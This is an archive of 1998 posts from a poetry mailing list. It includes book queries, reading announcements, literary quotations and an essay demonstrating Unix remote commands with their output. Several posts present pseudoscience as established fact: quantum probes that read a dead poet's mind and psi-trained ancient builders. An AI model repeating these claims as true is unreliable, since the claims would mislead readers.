Since mental events are material quantum events and encoded onto the universal data base there could eventually be no doubt as to motivations, intentions, purposes, goals, etc. Those would be knowable as empirical facts.

What I was referring to was ever increasing certainty as to quantum histories, implying ever increasing certainty as to human histories as a whole. That means less and less interpretation, as it becomes increasingly empirical. That means less and less recourse to theories.

I suggest that technology eventually arrives, by various mechanisms, at a reading of human history, and of the history of the universe, that is purely empirical and accurate, requiring no further interpretation. As empirically accurate as a properly functionning computer hard drive allows the mechanism within it to recover its own stored data and allows the mechanism to replay it in an orderly, logically connected, fashion, with repeatable accuracy. It does so by its very nature, as functions as its inventors meant it to function. I am suggesting that the universe, by analogy, functions the same way.

Is there a continuing possibility of variant, considered correct, literary intpretation, of a poem for example, if the qunatum histories involved in its production are fully known ? We could attribute other readings, other than any that the author meant to include. Those accidental attributions, that accrue to works of

art, need to be included as such, but then we know they are exactly that, and we also know exactly what old Bill meant when he wrote that sonnet, hundreds of years ago. We know Shakespeare wrote it, and we know exactly what was on his mind. The virtual, "unseen", world contains those traces, all still connected with the chain of quantum histories linking Bill's work to its first origination. Similarly with the first event at the origination of the universe. There comes a point in future time when it is no longer possible to give an interpretation to Bill's sonnet production. The history of the sonnet, provides its meaning as the communication of self to self and self to others that it was for Bill and the relevant contemporaries. It also reveals what that sonnet was to their successors.

In effect we can look at the history of a sonnet, and we can then look into Bill's mind. Since our probe, probes virtual space-time,along the T axis, it accesses "infinity". The virtual ghost of Bill's mind, is also at "infinity". The probe in effect accesses Bill's mind and retrieves the data to the present point along the axis t, to our normal empirical space-time coordinates.

The threads in the string, begin there. From the the rope is woven.

Bill then hangs from that evolving rope exactly as we hang from that same rope.

M.

aka Bob Ezergailis

↑ Index

174. Dorothy Wang
Query re Ted Joans
Fri 5 Jun 1998

Does anyone know the publisher and place of publication of a volume by Ted Joans entitled Wow: The Selected Poems of Ted Joans (1981, I think)? I was asked by a professor friend for this information but can't find it anywhere. Thanks in advance!

↑ Index

175. morpheal
Re: patterns of discovery [Cronenberg's "Scanners"]
Fri 5 Jun 1998

> *Ez Bob,*
>
> *I liked your description of Crash a while back and thot it quite provoking. Tho I'm not sure I'm getting what you're talking about on this Scanner Dan thing.*

> *L Bill*

The setting of the movie "Scanners" was completely contemporaneous with its time of production. The technology appeared completely futuristic. That juxtaposition becomes the most horrific moment in the thriller, and yet it is that very juxtaposition of contemporaenous and futuristic that is ignored by the average viewer. It is as if traumatic amnesia takes hold of the viewer after the initial shock of contemporaneity. That's really all I wanted to say about that.

M.

↑ Index

176. k. lederer
Baxter/Amy Garrett
Fri 5 Jun 1998

Does anyone have an address (of any variety) for

"Baxter/ Amy Garrett"

Thanks,
Katy L

↑ Index

177. Scott Pound
Re: Meow Press Summer98 series Catalog (draft2)
Sat 6 Jun 1998

A rowdy CONGRATULATIONS to JOEL KUSZAI and MEOW PRESS

Let me say these books have sustained and captivated me for four years now

I don't know which is more impressive: the backlist or the frothcoming list!

Whens the folding party gonna be Joel?

Thanks Joel for meow press,

here's to 50 more!

Scott

> *Meow Press*
> *Summer98 series*
>
> *Catalog*
>
> *Publisher of chapbooks of poetry and unfettered prose since August of*

1993, Meow Press announces its Summer98 list and encourages libraries and subscribers to and pre-order forthcoming titles from the publisher to assist the financing of the series.

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Benjamin Friedlander, A Knot is Not a Tangle [MP13 $5]

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> *phone* [redacted] *fax* [redacted]
> [redacted]
> *http://www.spdbooks.org*

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178. **Maria Damon**
Re: Query re Ted Joans
Sat 6 Jun 1998

---

pls don't backchannel this info; others of us wd like to know too--thanks for the query!

At 4:50 PM -0700 6/5/98, Dorothy Wang wrote:
>Does anyone know the publisher and place of publication of a volume by Ted
>Joans entitled Wow: The Selected Poems of Ted Joans (1981, I think)? I was
>asked by a professor friend for this information but can't find it
>anywhere. Thanks in advance!

↑ Index

179. **Barbara Henning**
Yogapoetics
Sat 6 Jun 1998

Yogapoetics: I'm interested in hearing from poets with a regular yoga practice.

↑ Index

180. **toddbaron**
Re: Query re Ted Joans
Sat 6 Jun 1998

Dorothy

It's Ted Jonas

that's why you can't find it.

↑ Index

181. **toddbaron**
Re: Query re Ted Joans
Sat 6 Jun 1998

sorry--i'm not awake--its not ted jonas--anyway--

RIZZOLI INTL published a collection of poetry and jazz writings in --i think 1989,,

yrs,

ps: try them or--gulp--even amazon.com

↑ Index

182. **William Slaughter**
Re: Query re Ted Joans
Sat 6 Jun 1998

I met Ted Joans in Alexandria, Egypt, in 1981. He was putting a collection together for Handshake Editions in Paris at the time. Whether that collection was or wasn't the Selected Poems referred to in Dorothy Wang's post, I can't say. I never saw it. But the time was right. Bill

On Sat, 6 Jun 1998, Maria Damon wrote:

> *pls don't backchannel this info; others of us wd like to know too--thanks for the query!*
>
> *At 4:50 PM -0700 6/5/98, Dorothy Wang wrote:*
> *Does anyone know the publisher and place of publication of a volume by Ted Joans entitled Wow: The Selected Poems of Ted Joans (1981, I think)? I was asked by a professor friend for this information but can't find it anywhere. Thanks in advance!*

↑ Index

183. **R. Gancie**
phenomena, mediaton & the hermeneutical or the father, the son & the holy ghost
Sat 6 Jun 1998

"Formulation of ideas is not an independent process, strictly rational in the old sense, but is part of a particular grammar, and differs, from slightly to greatly, between different grammars. WE DISSECT NATURE ALONG LINES LAID DOWN BY OUR NATIVE LANGUAGES. The categories and types that we isolate from the world of phenomena we do not find there because they stare every observer in the face; on the contrary, the world is presented in a kaleidoscopic flux of impressions which has to be organized by our minds--and this means

largely by the linguistic system in our minds. We cut nature up, organize it into concepts, and ascribe significances as we do, largely because we are parties to an agreement to organize it in this way--an agreement that holds throughout our speech community and is codified in the patterns of our language. The agreement is of course, an implicit and unstated one, BUT ITS TERMS ARE ABSOLUTELY OBLIGATORY; we cannot talk at all except by suscribing to the organization and classification of data which the agreement decrees. This fact is very significant for modern sscience, for it means that no individual is free to describe nature with absolute impartiality but is constrained to certain modes of interpretation even while he thinks himself most free...."---from Language, Thought and Reality by Benjamin Lee Whorf --- "In modern physics, atoms lose this last property, they possess geometrical qualities in no higher degree than colour, taste, etc., The atom of modern physics can only be symbolized by a partial differential equation in an abstract multidimensional space. Only the experiment of an observer forces the atom to indicate a position, a colour and a quantity of heat. All the qualities of the atom of modern physics are derived, IT HAS NO IMMEDIATE AND DIRECT PHYSICAL PROPERTIES AT ALL, i.e. every type of visual conception we might wish to design is, ipso facto, faulty. An understanding of 'the first order' is, I would almost say by definition, impossible for the world of atoms."---from Philosophical Problems of Quantum Physics by Werner Heisenberg --- "Kant is right to stress the first-person singular. A problem exists for me only if I have it; evidence which solves the problem exists for me only if I have it. Someone else may have evidence which bears upon my problems, but I cannot take such evidence into account until I have it too. And when someone tells me what he knows about something, he provides me with new evidence only by confronting me with new sensory data: I hear him speak, and I have evidence of his truthfulness, i.e. as to the likelihood that the sounds he makes will tally with my experience in appropriate ways; and therefore I treat the occurrence of my auditory experience in hearing him as evidence, my evidence, that such and such is the case."---from Kant's Analytic by Jonathan Bennett---cp

↑ Index

184. david bromige
re re bombs flowering
Sat 6 Jun 1998

Some blockhead said some blockhead said he would justify the ways of God to man;
Some blockhead spent a lifetime writing to put his enemies in hell;
Some blockhead said that bombs opened like flowers;

Some blockhead said a girl had turned into a tree.
He said he'd rather turn into a pub.

Some blockhead said some blockhead said he sang in his chains like the sea; Some blockhead said some mariner said he'd seen a ghostly crew; Some blockhead said depicted lovers on an urn were luckier than two live ones; Some blockhead said a skylark never wert a bird. Some poet! He said he'd sooner be a man of common sense.

[thus on, endlessly, I hope]. David

↑ Index

185. david bromige
p s to my recent posting
Sat 6 Jun 1998

I should have titled it "Riposte to Clive James" and credited Tom Beard, to whom thanks for his posting of James' line re bombs and flowers. David

↑ Index

186. morpheal
Re: phenomena, mediaton [of language] leads to a common error
Sun 7 Jun 1998

> "*Formulation of ideas is not an independent process, strictly rational in the old sense, but is part of a particular grammar, and differs, from slightly to greatly, between different grammars. WE DISSECT NATURE ALONG LINES LAID DOWN BY OUR NATIVE LANGUAGES.*

Loosely stated my response is this:

I firmly believe, on empirical grounds, that there is a fundamental error in this. The process, significantly for the arts and thus for poetics, similarly as for the most progressive in the sciences, is a process of non-verbal to verbal. It is a process of knowing something non linguistically and then attempting to put that into words. That is, communication of the observation, of the world or of the idea, is a process of finding the words for it. I do agree that sometimes we make the error of saying that the observable does not exist because there are no words for it. We too easily limit the universe, and the predication of existence, to the already namable. Science does this less than the arts. The arts, where they use language, are more prone to that error.

Language, in fact, evolves, along lines determined by the empirical observation of the world. (I hesitate to distinguish natural from non natural, because it is all ultimately "of nature" and even what is made by our own species is a natural product of a natural species. There is nothing unnatural. The arbitrary and

pragmatic distinction between what human beings make and what else there is, is misleading as to our place within the whole, as another variant part of it.)

Language evolves to accomodate new observations of the world. It is the conservatism of language, its resistance to change, as its necessary function of the preservation of commonly understood meanings, that sometimes stands against progress, and slows acceptance of the inclusion of more and more anomalies within new paradigms. It slows the expression of new paradigms into a more commonly communicable and understandable linguistic form.

If the observation occurs and there are no words to describe it, as in instances of anomalies, there has been the tendency to fail to accord it its reality. We do tend to make the error that language is inclusive rather than exclusive. It does tend to be exclusive, mirroring social structures. Language has always been essentially a political tool, as well as a conveyance for what was considered acceptable ideology. As I said, we do tend to limit our empirical observations to what a-priori language is able to name. That magick of naming is in itself an error that we have slowly overcome. We have learned that we can always create a new name for a new thing, or new descriptors for a new observation that defies the limits of language prior to that advance. Slowly we have become more accustomed to the fact that the universe is full of things that as of yet we have no names for, and cannot yet call upon, much less command. However we shall name them, and we shall commend them, to our purposes, stands at the very foundation of modern scientific progress, in radical distinction, from any interpersonal equalities. (Also, potentially in conflict.)

In most instances the creative process itself begins with a non linguistic idea and gains partial or complete expression, precisely or imprecisely, into words. The sub-conscious does not work primarily linguistically. It works proto and pre linguistically.

In the ancient past, it is my firm belief, that the conscious sense of this was far less exceptional, and much more common. This relates to my comment about the building of the massive monuments of ancient Egypt. It is as if the pictogram, or hieroglyph is more natural to humankind. The first language then being more visual than sonic. The projection of the image of what is to be built to the uneducated workmen, by the skilled architect, such that a hundred or more workmen can work in precise unison creating a massive, near perfect, statue, or structure, such that no one workman can see enough of the other workmen's work with his own eyes, so as to be able to properly guage his own individual actions. Of course, without precise blueprints, and with limited means of measurement, measurement is not enough to explain the phenomenon. We therefore begin to understand that they were trained to follow a non verbal jungle sense more common to the consciousness of our distant

ancestors. There is an interesting mythology and depiction of the methods for opening the minds of the workers to the receipt of transmission, and it is psychologically valid in terms of what has been learned about stimulatind and developing latent psi abilities in human subjects.

It is interesting that Colonel John Alexander has written, in his discussions of "remote viewing", that the roots of modern advances can, in some instances, be traced back to ancient Egypt. Of course he writes about warriors and future war.

There is at least one sect of Wiccans who feel similarly as to the origins of naturally available and specially trained psi abilities. They follow the same Egyptian methodology to awaken psi abilities.

Psionic or psychotronic power is natural organic systems enhanced by, or replicated in principle into non organic systems, where those inorganic devices have variable precision. The quest then is not only to duplicate the abilities of organic systems, but to build machines that exceed those abilities in terms of their precision.

However, that only reminds us that pre-linguistic visuatization precedes and oversteps language in significant ways. Psi, (often loosely called "psychic") abilities are traditionally closely related to non linguistic data, as much as is most of artistic creativity, other than literature. Literature often makes the error of claiming pre-eminence and putting cart in front of horse, then asking the horse to pull it.

The poet struggles to turn, usually sub-conscious, non linguistic information into a fountain of precisely chosen and structured words, so as to give some communicative conveyance of the pre-linguistic ideas.

> *agreement is of course, an implicit and unstated one, BUT ITS TERMS ARE ABSOLUTELY OBLIGATORY; we cannot talk at all except by suscribing to the organization and classification of data which the agreement decrees.*

True, but there are a multitude of private languages. There are also a multitude of very specialist languages, unique to small groups, who do not necessarily or always share their entire meaning with outsiders.

This, in a very simple instance, is the difference between mathematical "infinity" and true "infinity". The term becomes confused, unless we look very carefully at the situational context that it is used within, and know that mathematicians often use it differently.

Science is full of such limitings, stretchings and re-definitions of language. It no longer allows language to be its limit.

The poet, however, is usually in a more constrained situation. There is less freedom to create language, but language must be used as is given. Few poets transcend that limitation. It is often considered a poetic taboo to 'create new language' as opposed to use language as predecessors have used it. The very nature of language as as a system of precedents makes language more conservative than science.

M.

aka Bob Ezergailis

↑ Index

187. R. Gancie
"*and liars in public places*"
Sun 7 Jun 1998

"Wahington (Reuters)- The U.S. military used lethal nerve gas during the Vietnam War, targeting American defectors in a village base camp in Laos, CNN and Time magazine said in a joint report on Sunday. Adm. Thomas Moorer, former chairman of the Joint Chiefs of Staff, confirmed that sarin nerve gas was used in 1970 in a secret raid into Laos called Operation Tailwind, according to the report aired on CNN Sunday. Capt. Eugene McCarthy, commander of the mission, told the program "Newstand: CNN & Time" that "upwards of 100" people perished in the raid, including women and children. Platoon leader Lt. Robert Van Buskirk estimated up to 20 American military defectors were killed." --- "You don't know a fraction of the shit we did over there, you pink little panty-waist Marxist wannabe."---comment elicited from a former Phoenix program operative in Washington to testify on behalf of American MIAs when asked about U.S. involvement in raw opium smuggling out of the Shan states in northern Burma during the Vietnam war as he dragged the questioner across a table top by the throat.

↑ Index

188. nuyopoman
Ted Joans
Sun 7 Jun 1998

Are we talking _Black Pow-Wow_ published 1969 by Hill and Wang?

Bob Holman

↑ Index

189. **Dan Machlin**
Brazil meets New York
Mon 8 Jun 1998

Noted Brazilian Poet

REGIS BONVICINO

reads Poems in Portuguese
(also video poetry)
with
Introduction,
English translations by
Michael Palmer and others read by:

CHARLES BERNSTEIN
&
SERGE GAVRONSKY

This Tuesday
June 9th, 1998, 7:30 P.M. Sharp
THE SEGUE PERFORMANCE SPACE LOFT, NY, NY
303 EAST 8th STREET (between Avenues B & C)
Admission $5.00

Bonvicino is the brazilian translator of work by Robert Creeley and Michael Palmer and a collection of his work, edited by Michael Palmer, translated by Palmer and others is forthcoming. He is also featured in Nothing the Sun Could Not Explain: 20 Contemporary Brazilian Poets from Sun & Moon Press.

Marjorie Perloff March 96 on Regis Bonvicino

"He notices, for example, that time has a way of transforming, not only such obvious items as leaves and flowers, but that even the graffiti on the walls fade and that their absence oddly presents the observer with a loss. And he also knows -- having put himself to school with such U.S. masters as William Carlos Williams, Robert Creeley, and George Oppen -- that the location of the small words -- entre, como, alguem -- are as important as their more pretentious cousins, the big nouns that claim to point to the great truths about experience. This is a poetry in which lineation is the "bone" on which the "butterfly" is suspended, the wire on which word, morpheme, even the silence of empty space, become elements pregnant with meaning."

- Claude Royet-Journoud on Bonvicino (specially for this reading)

"It is the mutual observation of a body and a language, in the minute slowness of the world which cries out the surprising richness of Regis Bonvicino's work. At times it reminds us of the powerful and striking narrative of a Larry Eigner

or a Robert Creeley. An imperceptible movement shakes up the surface which, under our eyes, collapses and, just as soon, is reconstituted. Nevertheless, it remains out of reach. One can only grasp the violent cesura of the work.

Don't miss it!!!

↑ Index

190. louis stroffolino
Re: Valentine de Saint-Point
Mon 8 Jun 1998

So, there IS a Gerald Bruns....
I always thought it was a typo for Gerald Burns....
Now I gotta go through the things I read and start
conceptually differentiating between them
--------chris

On Thu, 4 Jun 1998, Marjorie Perloff wrote:

> *For Tom Beard and other interested parties:*
>
> *Nancy Moore has done an interesting PhD thesis on Valentine. You can contact Nancy via Jerry Bruns (her husband, probably known to this list through his brilliant books, most recent one on Blanchot) at Notre Dame or on email <Gerald L. [redacted]>. Nancy did a lot of research in Europe and hopes to publish her book (Northwestern U PhD)--contact her thru Northwestern would also be possible.*
>
> *xxx*
> *Marjorie Perloff*

↑ Index

191. Gary Sullivan
Re: Valentine de Saint-Point
Mon 8 Jun 1998

---

don't hurt yourself! . . . heh heh . . . HEY . . . how was the date last night, eh? Rachel seemed very sweet . . . hope you guys had fun . . .

On Monday, June 08, 1998 12:11 PM, louis stroffolino
[SMTP:[redacted]] wrote:
> So, there IS a Gerald Bruns....
> I always thought it was a typo for Gerald Burns....
> Now I gotta go through the things I read and start
> conceptually differentiating between them

> --------chris
>
> On Thu, 4 Jun 1998, Marjorie Perloff wrote:
>
> > For Tom Beard and other interested parties:
> >
> > Nancy Moore has done an interesting PhD thesis on Valentine. You can
> > contact Nancy via Jerry Bruns (her husband, probably known to this list
> > through his brilliant books, most recent one on Blanchot) at Notre Dame
> > or on email <Gerald L. [redacted]>. Nancy did a lot of research in
> > Europe and hopes to publish her book (Northwestern U PhD)--contact her
> > thru Northwestern would also be possible.
> >
> > xxx
> > Marjorie Perloff
>

↑ Index

192. Gary Sullivan
WHOOPS
Mon 8 Jun 1998

. . . that should've been backchannel . . . totally embarrassing . . . many apologies . . .

↑ Index

193. Magdalena Zurawski
New York Radio Stations
Mon 8 Jun 1998

Is there any such thing as interesting radio in NYC? I'm mostly interested in poetry, punk rock (and all its relatives), politics, jazz and any German or Polish programming. Any information about local programming would be greatly appreciated.

Magdalena Zurawski

↑ Index

194. Erik Sweet
Re: Valentine de Saint-Point
Mon 8 Jun 1998

In a message dated 6/8/98 11:50:10 AM, you wrote:

<<don't hurt yourself! . . . heh heh . . . HEY . . . how was the date last night,
eh? Rachel seemed very sweet . . . hope you guys had fun . . .
>>

he he hey

i heard it went bad...oh well...

↑ Index

195. David Kellogg
Re: WHOOPS
Mon 8 Jun 1998

On Mon, 8 Jun 1998, Gary Sullivan wrote:

> *. . . that should've been backchannel . . . totally embarrassing . . . many apologies . . .*

Are you kidding? Some of us live for moments like that.

Cheers,
David
~~~
~~~

197. k. lederer
Queries: Gough; Kimball
Mon 8 Jun 1998

Does anyone have any addresses for:

Jenny Gough

or

Cynthia Kimball

??

Thanks,
Katy

↑ Index

198. Brent Long
Apokatastasis Reading Series, Providence
Mon 8 Jun 1998

>Date: Mon, 08 Jun 1998 13:13:12 -0400
>To: List
>From: Brent Long <[redacted]>
>Subject: Apokatastasis Reading Series, Providence
>
>Tuesday, June 9, 1998/ Feature: Kyria Abrahams. 8:00 P.M.
>
>Open mic sign up: 7:30 P.M.
>
>7 South Angell, Providence, RI
>
>$2 at the door. Bottomless coffee.
>
>Be there.
>
>Next Week: Tony Brown
>Following Week: Sou MacMillan (Who is reading with Jimmy Bacca in Taos, NM
this week.)

↑ Index

199. Maria Damon
Re: WHOOPS
Mon 8 Jun 1998

---

if the "rachel" involved is the same rachel that's been hanker-panking with bromide and bowwowing, i consider this info public property and wish to be enlightned still further.

At 12:58 PM -0400 6/8/98, David Kellogg wrote:
>On Mon, 8 Jun 1998, Gary Sullivan wrote:
>
>> . . . that should've been backchannel . . . totally embarrassing . . . many
>> apologies . . .
>
>Are you kidding? Some of us live for moments like that.
>
>Cheers,
>David
>~~~

201. **Magdalena Zurawski**
NYC Radio
Mon 8 Jun 1998

Thanks, Jordan, for the Info.

hearts, maggie

↑ Index

202. **Dorothy Wang**
Ted Joans question answered
Mon 8 Jun 1998

Thanks to everyone who pitched in with suggestions to help me with my query about Ted Joans' Wow. With the help of a reference librarian here at UC-Berkeley, I was able to locate Joans (who now lives in Seattle) and spoke with him by phone. He told me that Wow was scheduled to be published in 1981 by a Canadian publisher but, because Joans isn't Canadian, the project ran into problems and was never realized. He says that a woman in Seattle plans to put out Wow in chapbook form in Spring 1999.

↑ Index

203. **Jordan Davis**
NY Radio
Mon 8 Jun 1998

Maggie --

WFMU plays things. I forget how to find them -- they have a web page -- Kenny Goldsmith could say more. WKCR (89.9 FM) plays jazz, country, blues, they used to do some ok hip hop, Garam Masala's a terrific raga show, Composed on the Tongue has more fiction than poetry these days, but the host changes from year to year, so it's worth trying on the odd Sunday at 8:30 pm. Otherwise, you're pretty much stuck with NPR's local, WNYC (93.9 FM, AM 820), or Pacifica's WBAI (again, I forget the call numbers). Susan Howe had a show on BAI ages ago, and All Things Considered has Cathy Bowman on now and again to contextualize a reading by someone from work that's usually energetic and sometimes surprising if almost-always anecdote-based. WNYE (91.5 FM) plays poetry every Tuesday and Thursday at 11:45 a.m. Anybody interested in reading on that show should e-mail me, I'll put you in touch with the host, Irwin Gonshak. WNYE is the NY Board of Ed's station, and they rent out blocks of time to Greek, Chinese and Francophone broadcasters, so if you hear French radio late at night in a cab, it's probably 91.5. And then there's Howard Stern, Rush

Limbaugh, etc etc etc. Caspar Citron is still on the air, somewhere on AM, quick, which Frank O'Hara poem does Citron appear in?

-- Jordan

↑ Index

204. Laura Moriarty
AVEC reading in SF
Mon 8 Jun 1998

A San Francisco Reading:

Joe Ross
Susan Smith Nash
Cydney Chadwick
Michelle Murphy

Saturday, June 13th, 5p.m. at the Attic Club, Cocktail Lounge and Artspace, 3336 24th St.(near the 24th St. BART station, also near Mission St.). Doors open at 4:30 p.m. Reading begins at 5 p.m. _sharp_. Free.

Joe and Susan are coming from their respective out-of-towns for what should be a great reading!

[redacted]
http://socrates.berkeley.edu/~moriarty/

↑ Index

205. maz881
ass face
Mon 8 Jun 1998

I was wondering if anyone had any comments on the following lines/poems.

1. This is the only kind of language you understand, ass face. -- Ted Berrigan

2. Hey fat Giuliani kid, listen to this poem about you.
   -- Jordan Davis

3. When they beat you with a flashlight, you make light shine in all directions.
   -- Barratt Watten

btw, that barratt line is in "quotes" in his wonderfully scary bad history. but i think i'm desitized to those marks. so i omit in my quote.

Bill Luoma

↑ Index

206. Laura Moriarty
Re: ass face
Mon 8 Jun 1998

Hostility is the sincerest form of affection.

I just couldn't resist the subject line -

Laura

At 04:45 PM 6/8/98 EDT, you wrote:
>I was wondering if anyone had any comments on the following lines/poems.
>
>1. This is the only kind of language you understand, ass face.
> -- Ted Berrigan
>
>2. Hey fat Giuliani kid, listen to this poem about you.
> -- Jordan Davis
>
>3. When they beat you with a flashlight, you make light shine in all
>directions.
> -- Barratt Watten
>
>btw, that barratt line is in "quotes" in his wonderfully scary bad history.
>but i think i'm desitized to those marks. so i omit in my quote.
>
>Bill Luoma
>
>

[redacted]
http://socrates.berkeley.edu/~moriarty/

↑ Index

207. Erik Sweet
Re: ass face
Mon 8 Jun 1998

In a massage dated 6/8/00 13:45:30 AM, u wrote:

1. This is the only kind of sandwich you understand, butcher face. -- Ted Berrigan

2. Hey skinny billboard model kid, listen to this sparkles about you. -- Jordan Davis/Dave Pajo

3. When they eat you with a nightcrawler, you make heart shine in all rections.
   -- Barratt Watten/David Hasselhoff
>>

↑ Index

208. Henry Gould
Re: ass face
Mon 8 Jun 1998

Jesus & Christians were symbolized as donkeys in pre-Christian Rome.

Then Dante faced up to it & climbed through Satan's ass.

Whew! YHWH! Gesundtheit!

Put a frame around it & you can say anything. "I been framed".

We get scared when you take away the frame. So we say, hey, I'm an artist, the frame is everywhere.

Prison is a frame-up.

How arstistic!

- Henry Gould

today on NPR they interviewed an expert on Nigeria. The NPR lady asked him why Nigerians put up with a dictator for so long? Well, it's been a tragedy & they're a very diverse country. Any hope for democracy? Well, maybe. They didn't discuss the fact that Nigeria is a oil-based economy controlled by an elite & the US never turned off the tap. Hypocrisy is the perfume of repression.

↑ Index

209. Alan Myouka Sondheim
Distributed Image of the Internet in - r and similar commands:*
Mon 8 Jun 1998

[This might be of interest to anyone concerned with the poetics of the Net itself, the relationships among nodes and protocols. For "Nikuko" or "Alan" for example are merely symptoms carried in datagrams and packets across the wires, often broken up along the way, only to be reassembled later.

The early Net was one of comparative transparency, and a number of shell commands are, literally, apropos. Alan]

Distributed Image of the Internet in - r* and similar commands:

Clearly, at one point the imaginary of network distribution and function was based to some extent on considering telnet a universal protocol or protocol suite (in fact the World Wide Web is at telnet port 80), creating a group of r- (remote) commands as well, unifying both local and remote machines/hosts. There is rwho, rstat, rup, ruptime, rsh, rlogin, rdist, rcp, etc. The last is remote copy; rdist is for (usually) periodic dist- ributions of updated files; rlogin and rsh allow remote logins using files and bypassing passwords. These and others are demonstrated below.

The image or vision, now remotely backgrounded, is that of a skein of nodes or sites, all of which are transparent to one another - almost down to the hard- ware. Finger is another important component here, since it displays or splays information concerning a particular user - what was once thought of as free- dom, is now thought of as invasion of privacy, often across firewalls. Even now, however, you will find rusers still implemented on some systems, returning the current online users.

(Note that intranets provide a shadowy parallel to all of this - but in- tranets ex- ist in atmospheres of tight security, are corporate-driven, and, if anything, are the result of mistrust and exclusion. I like to think of the r-commands as looser, the result of at least a translucent net and a belief, related to hacker ethos, of the relative freedom of information.)

Besides rlogin, with the proper .rhosts file, rsh still seems to work between panix3.panix.com and gol1.gol.com. rsh is a login from a local shell to a remote one.

For any of the following, you may use the "man <command>" pages at the unix prompt; for other information, try "apropos <attribute>" at the same. Most of the demonstration below uses panix (US) and gol (Japan); a third site is mur- doch (Australia). The output of "apropos remote" is appended.

Here is rup - status of hosts:

```
{k:7} rup cleo.murdoch.edu.au
cleo.murdoch    up 39 days, 13:26,    load average: 0.08, 0.05, 0.05
```

Here is rstat - from gol1.gol.com where it remains implemented:

```
{k:1} rstat cleo.murdoch.edu.au
  8:10am  up 39 days, 13:29, load average: 0.04 0.05 0.05
```

ruptime and rwho work on all local machines (ruptime from gol1.gol.com):

```
{k:1} ruptime
alb1        down 137+15:50
cheshirecat   up 243+23:03,     0 users,  load 1.14, 1.08, 1.00
gol1          up 28+17:29,     2 users,  load 0.53, 0.84, 0.93
gol4        down  1+06:30
gol6          up 49+18:18,     0 users,  load 0.12, 0.27, 0.22
gol7          up 69+18:05,     0 users,  load 0.14, 0.13, 0.14
jdb1        down 137+15:49
jr          down 137+15:50
mx01          up 194+15:43,     0 users,  load 0.00, 0.00, 0.01
mx02        down 47+14:43
pproxy01    down 47+14:44
pproxy02    down 47+14:44
smtp01        up 194+15:42,     0 users,  load 0.06, 0.03, 0.03
smtp02        up 194+15:44,     0 users,  load 0.01, 0.02, 0.03
tweedledee    up 13+21:58,     0 users,  load 2.00, 2.00, 2.00
tweedledum    up 91+16:32,     0 users,  load 2.06, 2.01, 2.00
```

rwho:

```
{k:1} rwho
atsukoi  gol1:ttyq4 Jun  9 08:12 :02
khris    gol1:ttyq2 Jun  9 07:56
linds    gol1:ttyq5 Jun  9 08:14
sondheim gol1:ttyp5 Jun  9 08:14
```

rusers:

```
{k:108} rusers apollo.sfsu.edu apollo.sfsu. abfong shalini kblack leon sjhenry
melissa ndepper khudson icecrea m fielden lokit jenniseb yoyoko vmesta
siskron jchung byteme alkeller anadeau c harnly mnielsen arbil desmata
kuromif2 jshart donnalau inagaki smui pops jho ac abrera fbuenafe ireneqi ilum
zt gmontem cpb gmontem rosset klohe ignaciof nhaya shi jrizzo bigal chaup
mmerumo gab443 jtzs sfesseha
```

Then there is rdist:

```
{k:21} rdist -f distfile
gol1.gol.com: updating host gol1.gol.com
gol1.gol.com: LOCAL ERROR: Unexpected input from server: "Host
'gol1.gol.com' added to the ".list of known hosts.
gol1.gol.com: updating of gol1.gol.com finished
{k:25} rdist -f distfile
gol.com: updating host gol.com
gol.com: LOCAL ERROR: Unexpected input from server: "Host
```

'gol.com' added to the ".list of known hosts.
gol.com: updating of gol.com finished

After the addition of gol1.gol.com and gol.com to the .list of known hosts - neither command worked again. But the updating of files (which is the function of rdist) across the Net still functions.

distfile:

```
        HOSTS = ( [redacted] )

        FILES = ( kj lynx_bookmarks.html thing )

        ${FILES} -> ${HOSTS}

                    notify sondheim;
```

The .rhosts file is used for remote login, etc.:

.rhosts file at gol1.gol.com:

panix.com sondheim
panix3.panix.com sondheim

Testing the systems:

90 ls 91 pico distfile 92 rdist -f distfile 93 b 94 time rdist -f distfile 95 ls 96 cat distfile >> zz 97 pico zz 98 gg 99 cat .rhosts >> zz 100 pico zz 101 b 102 m 103 b 104 ls 105 h >> zz 4 rstat cleo.murdoch.edu.au 5 g 6 fg 7 ruptime 8 man ruptime 9 uptime 10 g 11 fg 12 g 13 fg 14 rlog 15 fg 16 h >> z

Apropos remote:

.I nntplink (8) - transmit netnews articles to a remote NNTP server fsp_prof (5) - file for fsp remote login data ident_lookup, ident_id, ident_free, id_open, id_close, id_query, id_parse, id_fileno (3N) - query remote IDENT server innxmit (8) - send Usenet articles to a remote NNTP server klogind (8) - remote login server kshd (8) - remote shell server nntpget (1) - get Usenet articles from a remote NNTP server nntpsend (8) - send Usenet articles to remote site passwd.nntp (5) - passwords for connecting to remote NNTP servers rdist (1) - remote file distribution client program rdistd (8) - remote file distribution server program scp (1) - secure copy (remote file copy program) ssh (1) - secure shell client (remote login program) ssh (1) - secure shell client (remote login program) telnet (1C) - user interface to a remote system using the TELNET protocol tn3270 (1) - full-screen remote login to IBM VM/CMS uux (1) - Remote command execution over UUCP adv (8) - advertise a directory for remote access with RFS auth_destroy, authnone_create, authunix_create, authunix_create_default (3N) - library routines for client side remote procedure call authentication authdes_create, authdes_getucred, get_myaddress, getnetname,

host2netname, key_decryptsession, key_encryptsession, key_gendes, key_setsecret, netname2host, netname2user, user2netname (3N) - library routines for secure remote procedure calls cu (1C) - connect to remote system fingerd, in.fingerd (8C) - remote user information server hosts.equiv, .rhosts (5) - trusted remote hosts and users mount (3R) - keep track of remotely mounted filesystems netrc (5) - file for ftp remote login data nlm_prot (3R) - protocol between local and remote network lock managers on (1C) - execute a command on a remote system, but with the local environment phones (5) - remote host phone number data base rcmd, rresvport, ruserok (3N) - routines for returning a stream to a remote command rcp (1C) - remote file copy rdate (8C) - set system date from a remote host rdist (1) - remote file distribution program remote (5) - remote host description file rex (3R) - remote execution protocol rexd, rpc.rexd (8C) - RPC-based remote execution server rexec (3N) - return stream to a remote command rexecd, in.rexecd (8C) - remote execution server rfmaster (5) - Remote File Sharing name server master file rfs, RFS (4) - remote file sharing rfudaemon (8) - Remote File Sharing daemon rlogin (1C) - remote login rlogind, in.rlogind (8C) - remote login server rmail (8C) - handle remote mail received via uucp rmt (8C) - remote magtape protocol module rmtab (5) - remote mounted file system table rnusers, rusers (3R) - return information about users on remote machines rpc (3N) - library routines for remote procedure calls rquota (3R) - implement quotas on remote machines rquotad, rpc.rquotad (8C) - remote quota server rsh (1C) - remote shell rshd, in.rshd (8C) - remote shell server rstat (3R) - get performance data from remote kernel rtime (3N) - get remote time rwall (3R) - write to specified remote machines showmount (8) - show all remote mounts 